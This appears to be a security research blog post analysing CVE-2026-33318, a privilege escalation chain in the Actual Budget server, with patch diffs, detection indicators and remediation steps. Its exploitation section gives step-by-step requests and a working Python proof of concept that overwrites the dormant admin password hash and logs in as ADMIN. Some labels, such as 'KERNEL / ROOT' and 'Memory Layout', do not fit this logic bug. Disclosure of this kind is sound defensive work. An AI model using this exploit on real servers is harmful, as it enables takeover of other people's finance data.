home intel cve-2026-33318-actual-budget-privilege-escalation
CVE Analysis 2026-04-24 · 9 min read

CVE-2026-33318: Actual Budget Auth Chain Yields ADMIN Escalation

Three weaknesses in Actual's auth migration path combine into a full privilege escalation: any BASIC user can overwrite the admin password hash and authenticate as ADMIN via a client-supplied loginMethod bypass.

#privilege-escalation#authentication-bypass#openid-connect#password-hash-manipulation#authorization-bypass
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-33318
USER SPACELow privilegeVULNERABILITYCVE-2026-33318 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-33318 is a privilege escalation chain in Actual Budget, a local-first personal finance server, affecting all versions prior to 26.4.0. CVSS 8.8 (HIGH). No in-the-wild exploitation has been confirmed as of publication.

The bug is not a single logic flaw — it is three independent weaknesses that are individually harmless but compose into a full escalation path. An attacker holding any valid session (including the lowest-privilege BASIC role) can promote themselves to ADMIN on any server that was migrated from password authentication to OpenID Connect. The chain requires three HTTP requests.

Root cause: POST /account/change-password performs no authorization check, the inactive password auth row is never purged on OIDC migration, and the login endpoint accepts a client-supplied loginMethod field that overrides the server's active auth configuration — allowing any session holder to overwrite the dormant admin password hash and re-authenticate as ADMIN via the legacy code path.

Affected Component

The vulnerability lives in three files across the actual-server Node.js backend:

  • src/accounts/account.tschangePassword() handler, no authz
  • src/accounts/openid.ts — migration helper, leaves stale auth row
  • src/accounts/login.tsloginWithPassword(), trusts client loginMethod

Affected: all multi-user deployments migrated from password auth to OIDC before version 26.4.0.

Root Cause Analysis

Weakness 1 — Unauthenticated password change endpoint. The changePassword route is protected by the session middleware but never checks the caller's role. Any valid token — including BASIC — can overwrite the password hash stored in the auth table.

// src/accounts/account.ts — changePassword handler
// BUG: session middleware validates token, but no role check is performed
async function changePassword(req, res) {
    const { password } = req.body;

    // BUG: missing authorization check — should assert req.user.role === 'ADMIN'
    const hashed = await argon2.hash(password);

    await db.run(
        `UPDATE auth SET extra_data = ? WHERE method = 'password'`,
        [hashed]
    );

    res.json({ status: 'ok' });
}

Weakness 2 — Stale auth row after OIDC migration. When a server is migrated from password to OpenID Connect, the migration helper inserts a new auth row for OIDC and updates config.loginMethod, but it never DELETEs or nullifies the existing password row. The dormant row holds the hash for the anonymous admin account created during multiuser setup.

// src/accounts/openid.ts — migration function (vulnerable path)
async function enableOpenID(config, db) {
    await db.run(
        `INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
        [JSON.stringify(config)]
    );

    // BUG: legacy 'password' row is never removed
    // The anonymous admin hash is still valid and addressable
    // MISSING: await db.run(`DELETE FROM auth WHERE method = 'password'`);

    await updateConfig({ loginMethod: 'openid' });
}

Weakness 3 — Client-controlled loginMethod bypass. The login endpoint reads loginMethod from the request body and dispatches accordingly. The server's active configuration is not enforced. A client can request loginMethod: 'password' even when the server is running in OIDC mode.

// src/accounts/login.ts — login dispatcher
async function login(req, res) {
    const { loginMethod, password } = req.body;

    // BUG: loginMethod is attacker-supplied; server config is never consulted
    // MISSING: assert loginMethod === serverConfig.loginMethod
    if (loginMethod === 'password') {
        return loginWithPassword(password, res);   // hits the stale auth row
    } else if (loginMethod === 'openid') {
        return redirectToOIDC(res);
    }
}

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-33318
Target: Actual Budget server, post-OIDC migration, version < 26.4.0
Prerequisite: Valid BASIC session token (lowest privilege tier)

STEP 1 — Obtain any valid session token
  - Register or receive a BASIC account from the server operator
  - Or exploit any unauthenticated registration endpoint if open
  - Token format: JWT or opaque session cookie, role=BASIC

STEP 2 — Overwrite admin password hash via unauthenticated changePassword
  POST /account/change-password
  Authorization: Bearer 
  Content-Type: application/json

  { "password": "pwned1234" }

  Server response: { "status": "ok" }
  Effect: argon2 hash of "pwned1234" written to auth.extra_data
          WHERE method = 'password' — this row is the anonymous admin

STEP 3 — Authenticate as admin using client-supplied loginMethod bypass
  POST /account/login
  Content-Type: application/json

  {
    "loginMethod": "password",
    "password":    "pwned1234"
  }

  Server response: { "token": "", "role": "ADMIN" }
  Effect: Full ADMIN session granted

STEP 4 — (Post-exploitation) Enumerate budgets, exfiltrate data,
          create new ADMIN accounts, lock out legitimate users

The three steps are independent HTTP requests. No race condition is required. No heap spray. No binary exploitation. The entire chain executes in under two seconds from a scripted client.

#!/usr/bin/env python3
# CVE-2026-33318 PoC — Actual Budget privilege escalation
# Requires: valid BASIC session token

import requests

TARGET   = "http://localhost:5006"
TOKEN    = "BASIC_SESSION_TOKEN_HERE"
NEW_PASS = "pwned1234"

headers = {"Authorization": f"Bearer {TOKEN}"}

# Step 2: overwrite admin hash
r = requests.post(
    f"{TARGET}/account/change-password",
    json={"password": NEW_PASS},
    headers=headers
)
assert r.json()["status"] == "ok", "change-password failed"
print("[+] admin password hash overwritten")

# Step 3: authenticate as admin via loginMethod bypass
r = requests.post(
    f"{TARGET}/account/login",
    json={"loginMethod": "password", "password": NEW_PASS}
)
data = r.json()
assert data.get("role") == "ADMIN", "escalation failed"
print(f"[+] ADMIN token: {data['token']}")

Memory Layout

This is a logic vulnerability, not a memory corruption bug. The relevant "state" is the SQLite auth table. The following diagram shows the database state transitions across the attack.

auth TABLE STATE — POST-MIGRATION (before patch)

  rowid | method     | extra_data                        | active
  ------+------------+-----------------------------------+--------
    1   | 'password' | argon2('original_admin_pass')     |   0     <-- STALE ROW, never deleted
    2   | 'openid'   | '{"issuer":"https://idp.example"}'|   1     <-- current active method

  config: { loginMethod: 'openid' }

  *** BOTH ROWS ARE ADDRESSABLE ***
  *** changePassword UPDATE hits row 1 (method='password') ***
  *** login endpoint dispatches to row 1 when client sends loginMethod='password' ***

----------------------------------------------------------------------

auth TABLE STATE — AFTER STEP 2 (attacker has written new hash)

  rowid | method     | extra_data                        | active
  ------+------------+-----------------------------------+--------
    1   | 'password' | argon2('pwned1234')               |   0     <-- hash overwritten
    2   | 'openid'   | '{"issuer":"https://idp.example"}'|   1

  Next: POST /account/login with loginMethod='password' hits row 1
        argon2.verify('pwned1234', row1.extra_data) -> TRUE
        server issues ADMIN JWT

Patch Analysis

The fix in 26.4.0 addresses all three weaknesses independently. No single fix would be sufficient — all three must be applied to close the chain.

// PATCH 1 — changePassword: enforce ADMIN role before allowing hash update
// BEFORE (vulnerable):
async function changePassword(req, res) {
    const { password } = req.body;
    const hashed = await argon2.hash(password);
    await db.run(
        `UPDATE auth SET extra_data = ? WHERE method = 'password'`,
        [hashed]
    );
    res.json({ status: 'ok' });
}

// AFTER (patched, 26.4.0):
async function changePassword(req, res) {
    if (req.user.role !== 'ADMIN') {
        return res.status(403).json({ error: 'forbidden' });
    }
    const { password } = req.body;
    const hashed = await argon2.hash(password);
    await db.run(
        `UPDATE auth SET extra_data = ? WHERE method = 'password'`,
        [hashed]
    );
    res.json({ status: 'ok' });
}
// PATCH 2 — OIDC migration: delete the stale password row
// BEFORE (vulnerable):
async function enableOpenID(config, db) {
    await db.run(
        `INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
        [JSON.stringify(config)]
    );
    await updateConfig({ loginMethod: 'openid' });
}

// AFTER (patched, 26.4.0):
async function enableOpenID(config, db) {
    await db.run(
        `INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
        [JSON.stringify(config)]
    );
    await db.run(`DELETE FROM auth WHERE method = 'password'`);  // purge stale row
    await updateConfig({ loginMethod: 'openid' });
}
// PATCH 3 — login: enforce server-side loginMethod, ignore client value
// BEFORE (vulnerable):
async function login(req, res) {
    const { loginMethod, password } = req.body;
    if (loginMethod === 'password') {
        return loginWithPassword(password, res);
    }
    return redirectToOIDC(res);
}

// AFTER (patched, 26.4.0):
async function login(req, res) {
    const { password } = req.body;
    const serverMethod = await getActiveLoginMethod();  // reads config, not request

    if (serverMethod === 'password') {
        return loginWithPassword(password, res);
    }
    return redirectToOIDC(res);
}

Detection and Indicators

Operators should inspect server logs and the SQLite database directly.

INDICATORS OF COMPROMISE

1. Unexpected POST /account/change-password from a non-ADMIN session
   - Log field: req.user.role == 'BASIC' on this endpoint
   - Any successful 200 response to this route from a non-admin is suspicious

2. POST /account/login with body containing loginMethod='password'
   on a server configured for OIDC
   - loginMethod in request body should never differ from server config
   - Any successful login via this path post-migration is an anomaly

3. Database audit: check for BASIC-role users that later acquire ADMIN tokens
   - Correlate session token issuance timestamps

4. SQLite direct check — if the stale row still exists on a migrated server:
   sqlite3 server.db "SELECT * FROM auth WHERE method='password';"
   Non-empty result on an OIDC server = unpatched and potentially exploited

Remediation

Immediate action: Upgrade to Actual Budget 26.4.0 or later. This is the only complete fix.

If immediate upgrade is not possible:

  • Manually delete the stale password row: DELETE FROM auth WHERE method = 'password'; on the server's SQLite database. This eliminates the target for the hash overwrite and breaks the chain at step 2.
  • Restrict network access to the Actual server to trusted hosts only. This is not a substitute for patching — a BASIC user on a trusted network still has access.
  • Audit existing sessions: revoke all non-ADMIN tokens and re-issue, then monitor for unexpected ADMIN token issuance.

Note that the three patches in 26.4.0 are all independently necessary. A server that applies only role enforcement on changePassword but retains the stale row and the loginMethod bypass remains partially exposed if the role check is later bypassed by another means. Defense in depth requires all three fixes.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →